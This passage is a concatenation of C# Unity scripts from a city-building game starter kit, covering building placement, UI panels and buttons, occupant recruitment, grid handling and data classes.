BuildingTypeData type = manager.GetBuildingTypeData(id);
OccupantTypeData otype = OccupantManager.GetInstance().GetOccupantTypeData(id);
if (type != null)
{
result += type.name + "</color>, ";
}
else if (otype != null)
{
result += otype.name + "</color>, ";
}
else
{
Debug.LogWarning("No building or occupant type data found for id:" + id);
result += id + "</color>, ";
}
}
if (result.Length > 2)
{
result = result.Substring(0, result.Length - 2);
}
else
{
return "Nothing";
}
return result;
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/3DView/Scripts/BuildingManager3D.cs
using UnityEngine;
using System.Collections;
/**
* A building manager that creates 3D buildings
*/
namespace CBSK
{
public class BuildingManager3D : BuildingManager
{
/**
* Layer used for terrain collider.
*/
public const int TERRAIN_LAYER = 10;
/**
* Layer used for building colliders.
*/
public const int BUILDING_LAYER = 11;
void Start()
{
if (PersistenceManager.GetInstance() != null)
{
if (PersistenceManager.GetInstance().SaveGameExists())
{
SaveGameData savedGame = PersistenceManager.GetInstance().Load();
foreach (BuildingData building in savedGame.buildings)
{
CreateAndLoadBuilding(building);
}
ResourceManager.Instance.Load(savedGame);
ActivityManager.GetInstance().Load(savedGame);
return;
}
}
CreateNewScene();
}
/**
* Build a building. override this as we want to determine building position differently.
*/
override public void CreateBuilding(string buildingTypeId)
{
if (CanBuildBuilding(buildingTypeId) && ResourceManager.Instance.CanBuild(GetBuildingTypeData(buildingTypeId)))
{
GameObject go = (GameObject)Instantiate(buildingPrefab);
go.transform.parent = gameView.transform;
Building building = go.GetComponent<Building>();
Ray ray = gameCamera.ScreenPointToRay(new Vector2(Screen.width / 2.0f, Screen.height / 2.0f));
RaycastHit hit;
if (Physics.Raycast(ray, out hit, 1 << TERRAIN_LAYER))
{
building.Init(types[buildingTypeId], BuildingModeGrid.GetInstance().WorldPositionToGridPosition(hit.point));
ActiveBuilding = building;
ResourceManager.Instance.RemoveResources(ActiveBuilding.Type.cost);
if ((int)saveMode < (int)SaveMode.SAVE_MOSTLY) PersistenceManager.GetInstance().Save();
}
else
{
Debug.LogWarning("Couldn't find terrain, not able to place building.");
}
}
else
{
if (CanBuildBuilding(buildingTypeId))
{
Debug.LogWarning("This is where you bring up your in app purchase screen");
}
else
{
Debug.LogError("Tried to build unbuildable building");
}
}
}
/**
* Override as no obstacles in the 3D view.
*/
override protected void CreateNewScene()
{
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/AcknowledgeBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Acknowledge building turning it from ready to built.
*/
public class AcknowledgeBuildingButton : UIButton
{
public Building building;
public override void Click()
{
if (building.State == BuildingState.READY)
{
BuildingManager.GetInstance().AcknowledgeBuilding(building);
}
else if (building.State == BuildingState.IN_PROGRESS || building.CurrentActivity != null)
{
UIGamePanel.ShowPanel(PanelType.SPEED_UP);
if (UIGamePanel.activePanel is UISpeedUpPanel) ((UISpeedUpPanel)UIGamePanel.activePanel).InitialiseWithBuilding(building);
}
else
{
building.AcknowledgeActivity();
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIBuildingInfoPanel.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* User interface shown when a building is selected.
*/
public class UIBuildingInfoPanel : UIGamePanel
{
/**
* Collect button (which is optional depending on buildings auto activity).
*/
public CollectButton collectButton;
/**
* Button for recruiting occupants.
*/
public RecruitButton recruitButton;
/**
* Button for viewing occupants.
*/
public UIButtonSwitchButton occupantButton;
/**
* List of buttons which are set up with a function depending on the building type.
*/
public ActivityButton[] buttonTemplates;
private Building building;
/**
* Set up the building with the given building.
*/
override public void InitialiseWithBuilding(Building building)
{
BuildingManager.ActiveBuilding = building;
this.building = building;
}
/**
* Show the panel.
*/
override protected IEnumerator DoShow()
{
yield return new WaitForSeconds(UI_DELAY / 3.0f);
//uiGroup.alpha = 1;
//uiGroup.blocksRaycasts = true;
SetPanelActive(true);
if (building.Type.generationAmount > 0)
{
collectButton.gameObject.SetActive(true);
collectButton.Init(building);
}
else
{
collectButton.gameObject.SetActive(false);
}
if (OccupantManager.GetInstance().CanBuildingRecruit(building.Type.id) && building.CurrentActivity == null && building.CompletedActivity == null)
{
recruitButton.gameObject.SetActive(true);
}
else
{
if (recruitButton != null) recruitButton.gameObject.SetActive(false);
}
if (OccupantManager.GetInstance().CanBuildingHoldOccupants(building.Type.id))
{
occupantButton.gameObject.SetActive(true);
}
else
{
if (occupantButton != null) occupantButton.gameObject.SetActive(false);
}
if (building.CurrentActivity != null || building.CompletedActivity != null)
{
for (int i = 0; i < buttonTemplates.Length; i++)
{
buttonTemplates[i].gameObject.SetActive(false);
}
}
else if (buttonTemplates.Length > 0)
{
int i = 0;
foreach (string activityType in building.Type.activities)
{
// Add special cases for special activities here
buttonTemplates[i].gameObject.SetActive(true);
buttonTemplates[i].InitWithActivityType(DoActivity, activityType, "");
i++;
}
for (int j = i; j < buttonTemplates.Length; j++)
{
buttonTemplates[j].gameObject.SetActive(false);
}
}
MoveTo(showPosition);
}
/**
* Reshow the panel (i.e. same panel but for a different object/building).
*/
override protected IEnumerator DoReShow()
{
MoveTo(hidePosition);
yield return new WaitForSeconds(UI_DELAY / 3.0f);
if (building.Type.generationAmount > 0)
{
collectButton.gameObject.SetActive(true);
collectButton.Init(building);
}
else
{
collectButton.gameObject.SetActive(false);
}
if (OccupantManager.GetInstance().CanBuildingRecruit(building.Type.id) && building.CurrentActivity == null && building.CompletedActivity == null)
{
recruitButton.gameObject.SetActive(true);
}
else
{
if (recruitButton != null) recruitButton.gameObject.SetActive(false);
}
if (OccupantManager.GetInstance().CanBuildingHoldOccupants(building.Type.id))
{
occupantButton.gameObject.SetActive(true);
}
else
{
if (occupantButton != null) occupantButton.gameObject.SetActive(false);
}
if (building.CurrentActivity != null || building.CompletedActivity != null)
{
for (int i = 0; i < buttonTemplates.Length; i++)
{
buttonTemplates[i].gameObject.SetActive(false);
}
}
else if (buttonTemplates.Length > 0)
{
int i = 0;
foreach (string activityType in building.Type.activities)
{
// Add special cases for special activities here
buttonTemplates[i].gameObject.SetActive(true);
buttonTemplates[i].InitWithActivityType(DoActivity, activityType, "");
i++;
}
for (int j = i; j < buttonTemplates.Length; j++)
{
buttonTemplates[j].gameObject.SetActive(false);
}
}
MoveTo(showPosition);
}
/**
* Start the generic activty function.
*/
public void DoActivity(string type, string supportingId)
{
building.StartActivity(type, System.DateTime.Now, supportingId);
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
public UIBuildingInfoPanel Instance
{
get; private set;
}
}
/**
* Delegate type used by the buttons.
*/
public delegate void ActivityDelegate(string type, string supportingId);
}<file_sep>/CityBuilderStarterKit/Scripts/UI/BackgroundTiledSprite.cs
//This is just a variation of the TiledSprite class that attaches the UIBackground script to the generated tiles.
//The purpose of that script is to register clicks on the background
using UnityEngine;
namespace CBSK
{
public class BackgroundTiledSprite : TiledSprite
{
#if UNITY_EDITOR
public override void Instantiate()
{
if (GetSpriteAlignment(spriteRenderer.sprite) != SpriteAlignment.TopLeft)
{
Debug.LogWarning(string.Format("Make sure sprite {0} has its pivot set to the top left.", spriteRenderer.sprite.name));
}
Vector2 startingPosition, worldSize;
worldSize.x = spriteRenderer.bounds.size.x;
worldSize.y = spriteRenderer.bounds.size.y;
startingPosition.x = -((worldSize.x * gridSize.x) / 2);
startingPosition.y = (worldSize.y * gridSize.y) / 2;
for (int x = 0; x < gridSize.x; x++)
{
for (int y = 0; y < gridSize.y; y++)
{
newObject = new GameObject(string.Format("{0},{1}", x, y));
newObject.hideFlags = HideFlags.HideInHierarchy;
newObject.layer = gameObject.layer;
newObject.transform.SetParent(gameObject.transform);
newObject.transform.position = new Vector3(gameObject.transform.position.x + startingPosition.x + worldSize.x * x, gameObject.transform.position.y + startingPosition.y - worldSize.y * y, gameObject.transform.position.z);
newObject.transform.localScale = Vector3.one;
newSprite = newObject.AddComponent<SpriteRenderer>();
newSprite.sprite = spriteRenderer.sprite;
newSprite.color = spriteRenderer.color;
newSprite.sortingLayerID = spriteRenderer.sortingLayerID;
newSprite.sortingOrder = spriteRenderer.sortingOrder;
newObject.AddComponent<UIBackground>();
newObject.AddComponent<BoxCollider2D>();
}
}
}
#endif
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/SellBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
public class SellBuildingButton : UIButton
{
public override void Click()
{
UIGamePanel.ShowPanel(PanelType.SELL_BUILDING);
((UISellBuildingPanel)UIGamePanel.activePanel).InitialiseWithBuilding(BuildingManager.ActiveBuilding);
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/UnitAnimations/BuildingDataWithUnitAnimations.cs
using System.Collections.Generic;
using UnityEngine;
/**
* Extends building data by including a position at which units should be drawn
*/
namespace CBSK
{
[System.Serializable]
public class BuildingDataWithUnitAnimations : BuildingTypeData
{
/**
* The relative positions to place the animations. Ordered so first position is for first unit, second for second, and so on.
*/
virtual public List<Vector2> animationPositions { get; set; }
/**
* The relative positions to place the static sprites. Ordered so first position is for first unit, second for second, and so on.
*/
virtual public List<Vector2> staticPositions { get; set; }
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/MoveBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
public class MoveBuildingButton : UIButton
{
public override void Click()
{
BuildingManager.ActiveBuilding.StartMoving();
UIGamePanel.ShowPanel(PanelType.PLACE_BUILDING);
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/SimpleBattle/AttackActivityData.cs
using UnityEngine;
using System.Collections;
/**
* An activity data which has an additional value for the strength of the city being attacked.
*/
namespace CBSK
{
[System.Serializable]
public class AttackActivityData : ActivityData
{
public int strength;
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIOccupantViewPanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
/**
* Panel for viewing the occupants of a building.
*/
public class UIOccupantViewPanel : UIGamePanel
{
public GameObject occupantScrollPanel;
public GameObject occupantPanelPrefab;
public ScrollRect scrollRect;
private bool initialised = false;
private List<UIOccupantView> occupantViews;
private InputManager inputManager;
void Start()
{
inputManager = FindObjectOfType<InputManager>();
}
override public void InitialiseWithBuilding(Building building)
{
if (!initialised)
{
List<OccupantData> data = building.Occupants;
occupantViews = new List<UIOccupantView>();
if (data != null)
{
foreach (OccupantData o in data)
{
AddOccupantPanel(o, false);
}
}
if ((building.CurrentActivity != null && building.CurrentActivity.Type == ActivityType.RECRUIT) || ((building.CompletedActivity != null && building.CompletedActivity.Type == ActivityType.RECRUIT)))
{
OccupantData no = new OccupantData();
no.Type = OccupantManager.GetInstance().GetOccupantTypeData(building.CurrentActivity.SupportingId);
AddOccupantPanel(no, true);
// TODO Coroutine to allow constant update of this panel (or maybe it should be in the panel itself?)
}
initialised = true;
}
}
override public void Show()
{
if (activePanel == this)
{
StartCoroutine(ClearThenReshow());
}
else
{
if (activePanel != null) activePanel.Hide();
StartCoroutine(ClearThenReshow());
StartCoroutine(DoShow());
activePanel = this;
}
//Disable zoom and drag
if (Camera.main.orthographic)
{
inputManager.acceptInput = false;
}
}
protected override IEnumerator DoShow()
{
yield return StartCoroutine(base.DoShow());
//Make sure the content is scrolled to the top
yield return new WaitForEndOfFrame();
scrollRect.verticalNormalizedPosition = 1;
}
protected IEnumerator ClearThenReshow()
{
if (occupantViews != null)
{
foreach (UIOccupantView o in occupantViews)
{
Destroy(o.gameObject);
}
}
yield return true;
initialised = false;
InitialiseWithBuilding(BuildingManager.ActiveBuilding);
}
public override void Hide()
{
base.Hide();
if (Camera.main.orthographic)
{
inputManager.acceptInput = true;
}
}
private void AddOccupantPanel(OccupantData data, bool inProgress)
{
GameObject panelGo = (GameObject)Instantiate(occupantPanelPrefab);
UIOccupantView panel = panelGo.GetComponent<UIOccupantView>();
panelGo.transform.SetParent(occupantScrollPanel.transform);
panelGo.transform.localScale = Vector3.one;
panel.InitialiseWithOccupant(data, inProgress);
occupantViews.Add(panel);
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/RecruitButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Button to show the recruit panel
*/
public class RecruitButton : UIButton
{
public override void Click()
{
UIGamePanel.ShowPanel(PanelType.RECRUIT_OCCUPANTS);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Grid/UnsuableGrid.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
public class UnusableGrid : IGridObject
{
/*
* Position of the object on the grid measured from the bottom left corner.
*/
public GridPosition Position
{
get { return new GridPosition(0, 0); }
set { }
}
/*
* New position of the object on the grid measured from the bottom left corner.
* Used when the obejct is being placed
*/
public GridPosition NewPosition
{
get { return new GridPosition(0, 0); }
set { }
}
/*
* Shape of the grid object defined by offsets from the base position of 0,0.
*/
public List<GridPosition> Shape
{
get { return new List<GridPosition> { new GridPosition(0, 0) }; }
}
/*
* Get rid of this object and any attached game objects, etc.
*/
public void Dispose()
{
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/BitMaskAttribute.cs
// Credit: Bunny83 http://answers.unity3d.com/questions/393992/custom-inspector-multi-select-enum-dropdown.html
using UnityEngine;
using System.Collections;
namespace CBSK
{
public class BitMaskAttribute : PropertyAttribute
{
public System.Type propType;
public BitMaskAttribute(System.Type aType)
{
propType = aType;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIOccupantSelectPanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
/**
* Panel for selecting the occupant to recruit.
*/
public class UIOccupantSelectPanel : UIGamePanel
{
public GameObject occupantScrollPanel;
public GameObject occupantPanelPrefab;
public ScrollRect scrollRect;
private bool initialised = false;
private List<UIOccupantSelectView> occupantSelectPanels;
private InputManager inputManager;
void Start()
{
inputManager = FindObjectOfType<InputManager>();
}
override public void InitialiseWithBuilding(Building building)
{
if (!initialised)
{
List<OccupantTypeData> types = OccupantManager.GetInstance().GetAllOccupantTypes().Where(o => o.recruitFromIds.Contains(building.Type.id)).ToList();
occupantSelectPanels = new List<UIOccupantSelectView>();
foreach (OccupantTypeData type in types)
{
AddOccupantPanel(type);
}
initialised = true;
}
}
override public void Show()
{
if (activePanel == this)
{
StartCoroutine(ClearThenReshow());
}
else
{
if (activePanel != null) activePanel.Hide();
StartCoroutine(ClearThenReshow());
StartCoroutine(DoShow());
activePanel = this;
}
//Disable zoom and drag
if (Camera.main.orthographic)
{
inputManager.acceptInput = false;
}
}
protected override IEnumerator DoShow()
{
yield return StartCoroutine(base.DoShow());
//Make sure the content is scrolled to the top
yield return new WaitForEndOfFrame();
scrollRect.verticalNormalizedPosition = 1;
}
protected IEnumerator ClearThenReshow()
{
if (occupantSelectPanels != null)
{
foreach (UIOccupantSelectView o in occupantSelectPanels)
{
Destroy(o.gameObject);
}
}
yield return true;
initialised = false;
InitialiseWithBuilding(BuildingManager.ActiveBuilding);
}
public override void Hide()
{
base.Hide();
if (Camera.main.orthographic)
{
inputManager.acceptInput = true;
}
}
private void AddOccupantPanel(OccupantTypeData type)
{
GameObject panelGo = (GameObject)Instantiate(occupantPanelPrefab);
UIOccupantSelectView panel = panelGo.GetComponent<UIOccupantSelectView>();
panelGo.transform.SetParent(occupantScrollPanel.transform);
panelGo.transform.localScale = Vector3.one;
panel.InitialiseWithOccupantType(type);
occupantSelectPanels.Add(panel);
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/DoSellBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
public class DoSellBuildingButton : UIButton
{
public bool isGold = false;
public override void Click()
{
if (isGold)
{
BuildingManager.GetInstance().SellBuildingForGold(BuildingManager.ActiveBuilding);
}
else
{
BuildingManager.GetInstance().SellBuilding(BuildingManager.ActiveBuilding, false);
}
UIGamePanel.ShowPanel(PanelType.DEFAULT);
BuildingManager.ActiveBuilding = null;
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/ActivityButton.cs
using UnityEngine.UI;
namespace CBSK
{
/**
* A button which can perform any activity type.
*/
public class ActivityButton : UIButton
{
public Image icon;
public Image ring;
public Text label;
private ActivityDelegate activity;
private string activityType;
private string supportingId;
/**
* Set up the delegate and visuals.
*/
public void InitWithActivityType(ActivityDelegate activity, string activityType, string supportingId)
{
this.activity = activity;
this.activityType = activityType;
this.supportingId = supportingId;
if (activityType != ActivityType.RECRUIT)
{
icon.sprite = SpriteManager.GetSprite(activityType.ToString().ToLower() + "_icon");
ring.color = UIColor.GetColourForActivityType(activityType);
}
string labelString = activityType.ToString();
labelString.Replace("_", " ");
labelString = System.Threading.Thread.CurrentThread.CurrentCulture.TextInfo.ToTitleCase(labelString);
if (label != null)
{
label.text = labelString;
}
}
public override void Click()
{
activity(activityType, supportingId);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Occupants/OccupantTypeData.cs
using System.Collections.Generic;
namespace CBSK
{
[System.Serializable]
/**
* Data for the type of an occupant. Public variables are used for simplicity of serialization
* but should not be modified directly.
*/
public class OccupantTypeData
{
public virtual string id { get; set; } // Unique id of the occupant.
public virtual string name { get; set; } // Human readable name of the occupant.
public virtual string description { get; set; } // A human readable description of the occupant.
public virtual string spriteName { get; set; } // The name of the sprite used to represent this occupant.
public virtual int level { get; set; } // Level required to build.
public virtual int cost { get; set; } // How many resources it costs to build this occupant.
public virtual int buildTime { get; set; } // How long in seconds it takes to build this occupant.
public virtual List<string> recruitFromIds { get; set; } // Ids of the building where this occupant is recruited/trained/built.
public virtual List<string> allowIds { get; set; } // Ids of the objects that this occupant allows.
public virtual List<string> requireIds { get; set; } // Ids of the objects required before this occupant can be built.
public virtual List<string> housingIds { get; set; } // Ids of the building where this occupant can reside.
public virtual int generationBoost { get; set; } // Amount of additional reward to generate each time interval when this occupant is in a building.
public virtual int occupantSize { get; set; } // How much occupant storage space does this occupant take.
}
}<file_sep>/CityBuilderStarterKit/Scripts/Editor/CityBuilderMenu.cs
#if UNITY_EDITOR
using UnityEditor;
using UnityEngine;
using System.Collections;
namespace CBSK
{
public class PersistenceMenuItem {
[MenuItem ("Assets/CBSK/Persistence/Reset All Player Prefs")]
public static void ResetAllPlayerPrefs()
{
PlayerPrefs.DeleteAll ();
}
}
}
#endif<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/BuildingData.cs
using System.Collections.Generic;
namespace CBSK
{
[System.Serializable]
public class BuildingData
{
/**
* Unique identifier for the buidling.
*/
public virtual string uid { get; set; }
/**
* The string defining the type of this building.
*/
public virtual string buildingTypeString { get; set; }
/**
* State of the building.
*/
public virtual BuildingState state { get; set; }
/**
* Current position of the building
*/
public virtual GridPosition position { get; set; }
/**
* Time the building started building
*/
public virtual System.DateTime startTime { get; set; }
/**
* Activities currently in progress or null if nothing in progress.
*/
public virtual Activity currentActivity { get; set; }
/**
* Reward activity currently in progress or null if theres no automatic reward activity {get; set;}
*/
public virtual Activity autoActivity { get; set; }
/**
* The completed activity awaiting acknowledgement or NONE if no activity completed.
*/
public virtual Activity completedActivity { get; set; }
/**
* The number of auto generated resources stored in this building, ready to be collected.
*/
public virtual int storedResources { get; set; }
/**
* List of all occupants in this building.
*/
public virtual List<OccupantData> occupants { get; set; }
override public string ToString()
{
return "Building(" + uid + "): " + state + " " + startTime.ToString() + " " + currentActivity;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Activities/ActivityData.cs
/**
* Data class for activity data.
*/
namespace CBSK
{
[System.Serializable]
public class ActivityData
{
/**
* Type of activity. This is a string but certain values defined in Activity
*/
public virtual string type { get; set; }
/**
* Human readable description of the activity.
*/
public virtual string description { get; set; }
/**
* How long it takes to complete the activity. -1 is used
* for special activities like training troops which have
* custom implementations.
*/
public virtual int durationInSeconds { get; set; }
/**
* What you get for completing the activity.
*/
public virtual RewardType reward { get; set; }
/**
* How much you get for completing the activity.
*/
public virtual int rewardAmount { get; set; }
/**
* Id of the item rewarded for rewards like mobiles or research.
*/
public virtual string rewardId { get; set; }
/**
* If this is true the action doesn't have a menu item. Instead it automatically triggers itself.
*/
public virtual bool automatic { get; set; }
/**
* Cost of this activity
*/
public virtual int activityCost { get; set; }
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/SavePathsButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Button which saves paths and exits path mode
*/
public class SavePathsButton : UIButton
{
public override void Click()
{
PathManager.GetInstance().ExitPathMode();
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Grid/IGrid.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* Interface implemented by anything maintaining a grid.
*/
public interface IGrid
{
/**
* Returns the object at the given position.
*/
IGridObject GetObjectAtPosition(GridPosition position);
/**
* Adds the given object at the given position.
*/
void AddObjectAtPosition(IGridObject gridObject, GridPosition position);
/**
* Removes the given object.
*/
void RemoveObject(IGridObject gridObject);
/**
* Removes whatever object is at the given position.
*/
void RemoveObjectAtPosition(GridPosition position);
/**
* Returns true if the given object can be placed at the given grid position. Returns false
* if another grid object is in the way. The definition of "in the way" may be different for different
* grids.
*/
bool CanObjectBePlacedAtPosition(IGridObject gridObject, GridPosition position);
/**
* Returns the grid position in world co-ordiantes. World coordinates may vary between implementations.
*/
Vector3 GridPositionToWorldPosition(GridPosition position);
Vector3 GridPositionToWorldPosition(GridPosition position, List<GridPosition> shape);
/**
* Returns grid position nearest to the world coordiantes
*/
GridPosition WorldPositionToGridPosition(Vector3 position);
/**
* Returns the world position snapped to the grid
*/
Vector3 SnapWorldPositionToGrid(Vector3 position);
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/UIBattleControlButton.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* Controls a battle button
*/
public class UIBattleControlButton : UIButton
{
public Image icon;
public Image backgroundRing;
public Image ring;
public Text label;
public ChooseTargetButton actualButton;
/**
* Activity completed.
*/
public void UI_StartActivity(Activity activity)
{
StopCoroutine("DoBobble");
icon.color = UIColor.DESATURATE;
backgroundRing.fillAmount = activity.PercentageComplete;
ring.fillAmount = activity.PercentageComplete;
}
/**
* Indicate progress on the progress ring.
*/
public void UI_UpdateProgress(Activity activity)
{
ring.fillAmount = activity.PercentageComplete;
backgroundRing.fillAmount = activity.PercentageComplete;
}
/**
* Activity completed.
*/
public void UI_CompleteActivity(string type)
{
icon.color = Color.white;
ring.fillAmount = 1.0f;
backgroundRing.fillAmount = 1.0f;
StartCoroutine("DoBobble");
}
/**
* Activity acknowledged.
*/
public void UI_AcknowledgeActivity()
{
StopCoroutine("DoBobble");
icon.color = Color.white;
ring.fillAmount = 1.0f;
backgroundRing.fillAmount = 1.0f;
}
private IEnumerator DoBobble()
{
while (actualButton.gameObject.activeInHierarchy)
{
iTween.PunchPosition(actualButton.gameObject, new Vector3(0, 0.035f, 0), 1.5f);
yield return new WaitForSeconds(Random.Range(1.0f, 1.5f));
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/BuildingModeGrid.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
/**
* The grid used in building mode.
*/
namespace CBSK
{
public class BuildingModeGrid : AbstractGrid
{
public float gridWidth; // Width of the grid in world units (not grid units)
public float gridHeight; // Height of the grid in world units (not grid units)
public float gridUnusuableHeight; // Height (from bottom AND top) that cannot be used (used to make the grid a square instead of a diamond).
public float gridUnusuableWidth; // Width from (left AND right) that cannot be used (used to make the grid a square instead of a diamond).
public float gridScale = 0.003125f; //This scale is used to make the public variable numbers easier to work with. For example "64x32" grid size is much more understandable than the actual world values of ".2fx.1f"
//public Color usableGrid;
//public Color unusableGrid;
//public Sprite gridBackground;
protected static BuildingModeGrid instance; // Static reference to this grid.
protected bool initialised = false; // Has this grid been initialised.
/**
* Get the instance of the grid class or create if one has not yet been created.
*
* @returns An instance of the grid class.
*/
public static BuildingModeGrid GetInstance()
{
return instance;
}
/**
* If there is already a grid destroy self, else initialise and assign to the static reference.
*/
void Awake()
{
if (instance == null)
{
if (!initialised) Init();
instance = (BuildingModeGrid)this;
}
else if (instance != this)
{
Destroy(gameObject);
}
gridWidth *= gridScale;
gridHeight *= gridScale;
gridUnusuableHeight *= gridScale;
gridUnusuableWidth *= gridScale;
//ShowGrid();
}
/**
* Initialise the grid.
*/
virtual protected void Init()
{
initialised = true;
grid = new IGridObject[gridSize, gridSize];
FillUnusableGrid();
gridObjects = new Dictionary<IGridObject, List<GridPosition>>();
}
////Fix issue
////Testing grid visibly
//void ShowGrid()
//{
// for (int y = 0; y < gridSize; y++)
// {
// for (int x = 0; x < gridSize; x++)
// {
// GameObject go = new GameObject(string.Format(string.Format("{0},{1}", x, y)));
// SpriteRenderer sr = go.AddComponent<SpriteRenderer>();
// sr.sprite = gridBackground;
// sr.color = usableGrid;
// go.transform.SetParent(gameObject.transform);
// go.transform.localScale = Vector3.one;
// go.transform.position = GridPositionToWorldPosition(new GridPosition(x, y));
// }
// }
//}
override public Vector3 GridPositionToWorldPosition(GridPosition position)
{
return GridPositionToWorldPosition(position, new List<GridPosition>(GridPosition.DefaultShape));
}
override public Vector3 GridPositionToWorldPosition(GridPosition position, List<GridPosition> shape)
{
float x = (gridWidth / 2) * (position.x - position.y);
float y = (gridHeight / 2) * (position.x + position.y);
float sz = 9999.0f;
float lz = -9999.0f;
float tsz;
// TODO Clean up and fix to cater for even odder shapes
foreach (GridPosition pos in shape)
{
tsz = ((position.y + pos.y) * (gridHeight / 2)) + ((position.x + pos.x) * (gridHeight / 2)) - 2;
if (sz >= tsz) sz = tsz;
if (lz <= tsz) lz = tsz;
}
return new Vector3(x, y, ((lz + sz) / 2.0f));
}
override public GridPosition WorldPositionToGridPosition(Vector3 position)
{
int tx = Mathf.RoundToInt(((position.x / (gridWidth / 2)) + (position.y / (gridHeight / 2))) / 2);
int ty = Mathf.RoundToInt(((position.y / (gridHeight / 2)) - (position.x / (gridWidth / 2))) / 2);
return new GridPosition(tx, ty);
}
/**
* Get the building at the given position. If the space is empty or the object
* at the position is not a building return null.
*/
public Building GetBuildingAtPosition(GridPosition position)
{
IGridObject result;
result = GetObjectAtPosition(position);
if (result is Building) return (Building)result;
return null;
}
/**
* Fill up the grid so the diamon becomes a rectangle.
*/
private void FillUnusableGrid()
{
for (int y = 0; y < gridSize; y++)
{
for (int x = 0; x < gridSize; x++)
{
// Fill Bottom
if (x + y < gridUnusuableHeight)
{
grid[x, y] = new UnusableGrid();
}
// Fill Top
if (x + y > (gridSize * 2) - gridUnusuableHeight)
{
grid[x, y] = new UnusableGrid();
}
// Fill Left
if (x - y > gridSize - gridUnusuableWidth)
{
grid[x, y] = new UnusableGrid();
}
// Fill Right
if (y - x > gridSize - gridUnusuableWidth)
{
grid[x, y] = new UnusableGrid();
}
}
}
for (int y = 0; y < gridSize; y++)
{
for (int x = 0; x < gridSize; x++)
{
}
}
// Fill Left
for (int y = 0; y < gridSize; y++)
{
for (int x = 0; x < gridSize; x++)
{
if (x + y > (gridSize * 2) - gridUnusuableHeight)
{
grid[x, y] = new UnusableGrid();
}
}
}
// Fill Right
for (int y = 0; y < gridSize; y++)
{
for (int x = 0; x < gridSize; x++)
{
if (x + y > (gridSize * 2) - gridUnusuableHeight)
{
grid[x, y] = new UnusableGrid();
}
}
}
}
}
}
<file_sep>/CityBuilderStarterKit/Extensions/BuildingUpgrades/UpgradableBuilding.cs
using UnityEngine;
/**
* A building which can be upgraded.
*/
namespace CBSK
{
public class UpgradableBuilding : Building
{
/**
* Initialise the building with the given type and position.
*/
override public void Init(BuildingTypeData type, GridPosition pos)
{
data = new UpgradableBuildingData();
((UpgradableBuildingData)data).level = 1;
uid = System.Guid.NewGuid().ToString();
Position = pos;
this.Type = type;
State = BuildingState.PLACING;
CurrentActivity = null;
CompletedActivity = null;
view = gameObject;
view.SendMessage("UI_Init", this);
view.SendMessage("SetPosition", data.position);
}
/**
* Acknowledge generic activity.
*/
override public void AcknowledgeActivity()
{
if (!((this.data) is UpgradableBuildingData))
{
Debug.LogWarning("Upgradable buildings should use upgradable building data");
return;
}
if (CompletedActivity != null && CompletedActivity.Type == ActivityType.CLEAR)
{
ResourceManager.Instance.AddXp(ActivityManager.GetInstance().GetXpForCompletingActivity(CompletedActivity));
CurrentActivity = null;
CompletedActivity = null;
BuildingManager.GetInstance().ClearObstacle(this);
view.SendMessage("UI_AcknowledgeActivity");
}
else if (CompletedActivity != null && CompletedActivity.Type == ActivityType.RECRUIT)
{
ResourceManager.Instance.AddXp(ActivityManager.GetInstance().GetXpForCompletingActivity(CompletedActivity));
CreateOccupant(CompletedActivity.SupportingId);
CurrentActivity = null;
CompletedActivity = null;
view.SendMessage("UI_AcknowledgeActivity");
if ((int)BuildingManager.GetInstance().saveMode < (int)SaveMode.SAVE_NEVER) PersistenceManager.GetInstance().Save();
}
else if (CompletedActivity != null && CompletedActivity.Type != ActivityType.NONE && CompletedActivity.Type != ActivityType.AUTOMATIC)
{
ResourceManager.Instance.AddXp(ActivityManager.GetInstance().GetXpForCompletingActivity(CompletedActivity));
ActivityData data = ActivityManager.GetInstance().GetActivityData(CompletedActivity.Type);
if (data != null)
{
switch (data.reward)
{
case RewardType.RESOURCE:
ResourceManager.Instance.AddResources(data.rewardAmount * ((UpgradableBuildingData)this.data).level);
break;
case RewardType.GOLD:
ResourceManager.Instance.AddGold(data.rewardAmount * ((UpgradableBuildingData)this.data).level);
